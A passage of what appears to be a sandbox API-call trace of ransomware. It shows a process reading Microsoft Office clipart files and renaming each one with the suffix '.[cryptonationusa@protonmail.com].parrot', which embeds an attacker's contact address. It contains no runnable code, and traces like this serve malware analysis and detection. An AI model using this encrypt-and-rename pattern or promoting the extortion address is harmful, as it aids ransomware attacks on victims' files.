0x5d4c80 [0140.294] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.294] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0140.294] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0140.294] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2856, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0140.294] CloseHandle (hObject=0x27c) returned 1 [0140.294] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173c10 [0140.294] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x6a7268 [0140.295] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200521.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200521.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200521.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200521.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0140.297] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x104e, nNumberOfBytesToLockHigh=0x0) returned 1 [0140.298] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0140.298] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0140.299] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.299] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xf36, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xf36, lpOverlapped=0x0) returned 1 [0140.299] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0140.299] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.299] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0140.300] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0140.300] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x104e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0140.300] CloseHandle (hObject=0x27c) returned 1 [0140.300] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173c10 [0140.300] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x6a7268 [0140.300] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200611.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200611.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200611.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200611.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0140.303] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xa626, nNumberOfBytesToLockHigh=0x0) returned 1 [0140.303] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0140.303] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0140.304] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.304] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xa50e, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xa50e, lpOverlapped=0x0) returned 1 [0140.305] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0140.307] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.307] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0140.307] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0140.308] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xa626, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0140.308] CloseHandle (hObject=0x27c) returned 1 [0140.308] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173c10 [0140.308] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x6a7268 [0140.308] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0202045.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0202045.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0202045.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0202045.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0140.311] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x6f8c, nNumberOfBytesToLockHigh=0x0) returned 1 [0140.311] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0140.311] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0140.339] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.339] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x6e74, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x6e74, lpOverlapped=0x0) returned 1 [0140.340] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0140.341] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.341] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0140.341] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0140.343] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x6f8c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0140.343] CloseHandle (hObject=0x27c) returned 1 [0140.343] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173c10 [0140.343] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x6a7268 [0140.343] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0211981.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0211981.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0211981.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0211981.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0140.348] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1926, nNumberOfBytesToLockHigh=0x0) returned 1 [0140.349] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0140.349] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0140.350] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.350] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x180e, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x180e, lpOverlapped=0x0) returned 1 [0140.351] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0140.351] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.351] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0140.351] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0140.352] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1926, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0140.352] CloseHandle (hObject=0x27c) returned 1 [0140.352] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173c10 [0140.352] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x6a7268 [0140.352] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212299.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212299.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212299.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212299.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0140.355] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x26e4, nNumberOfBytesToLockHigh=0x0) returned 1 [0140.355] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0140.355] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0140.448] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.448] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x25cc, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x25cc, lpOverlapped=0x0) returned 1 [0140.449] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0140.449] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.449] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0140.449] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0140.450] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x26e4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0140.450] CloseHandle (hObject=0x27c) returned 1 [0140.450] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173c10 [0140.450] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x6a7268 [0140.450] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212601.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212601.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212601.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212601.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0140.454] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1ab2, nNumberOfBytesToLockHigh=0x0) returned 1 [0140.454] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0140.454] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0140.455] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.456] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x199a, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x199a, lpOverlapped=0x0) returned 1 [0140.456] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0140.456] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.456] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0140.456] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0140.457] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1ab2, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0140.457] CloseHandle (hObject=0x27c) returned 1 [0140.457] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173c10 [0140.457] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x6a7268 [0140.457] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212685.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212685.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212685.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212685.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0140.461] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x924, nNumberOfBytesToLockHigh=0x0) returned 1 [0140.461] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0140.461] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0140.462] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.462] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x80c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x80c, lpOverlapped=0x0) returned 1 [0140.462] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0140.463] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.463] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0140.463] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0140.463] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x924, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0140.463] CloseHandle (hObject=0x27c) returned 1 [0140.463] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173c10 [0140.463] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x6a7268 [0140.463] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212751.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212751.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212751.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212751.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0140.466] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1e62, nNumberOfBytesToLockHigh=0x0) returned 1 [0140.466] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0140.466] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0140.468] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.468] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1d4a, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1d4a, lpOverlapped=0x0) returned 1 [0140.469] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0140.469] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.469] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0140.469] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0140.469] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1e62, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0140.469] CloseHandle (hObject=0x27c) returned 1 [0140.469] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173c10 [0140.469] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x6a7268 [0140.469] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212953.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212953.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212953.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212953.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0140.472] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xb74, nNumberOfBytesToLockHigh=0x0) returned 1 [0140.472] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0140.472] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0140.473] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.474] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xa5c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xa5c, lpOverlapped=0x0) returned 1 [0140.474] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0140.474] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.474] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0140.474] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0140.474] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xb74, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0140.474] CloseHandle (hObject=0x27c) returned 1 [0140.474] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173c10 [0140.474] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x6a7268 [0140.474] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0213243.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0213243.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0213243.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0213243.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0140.477] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1018, nNumberOfBytesToLockHigh=0x0) returned 1 [0140.477] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0140.477] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0140.479] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.479] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xf00, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xf00, lpOverlapped=0x0) returned 1 [0140.479] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0140.479] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.479] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0140.479] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0140.480] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1018, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0140.480] CloseHandle (hObject=0x27c) returned 1 [0140.480] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173c10 [0140.480] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x6a7268 [0140.480] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0213449.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0213449.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0213449.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0213449.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0140.483] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7dce, nNumberOfBytesToLockHigh=0x0) returned 1 [0140.483] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0140.483] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0140.526] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.527] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7cb6, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x7cb6, lpOverlapped=0x0) returned 1 [0140.528] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0140.528] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.528] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0140.528] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0140.530] UnlockFile (hFile=0x27c, 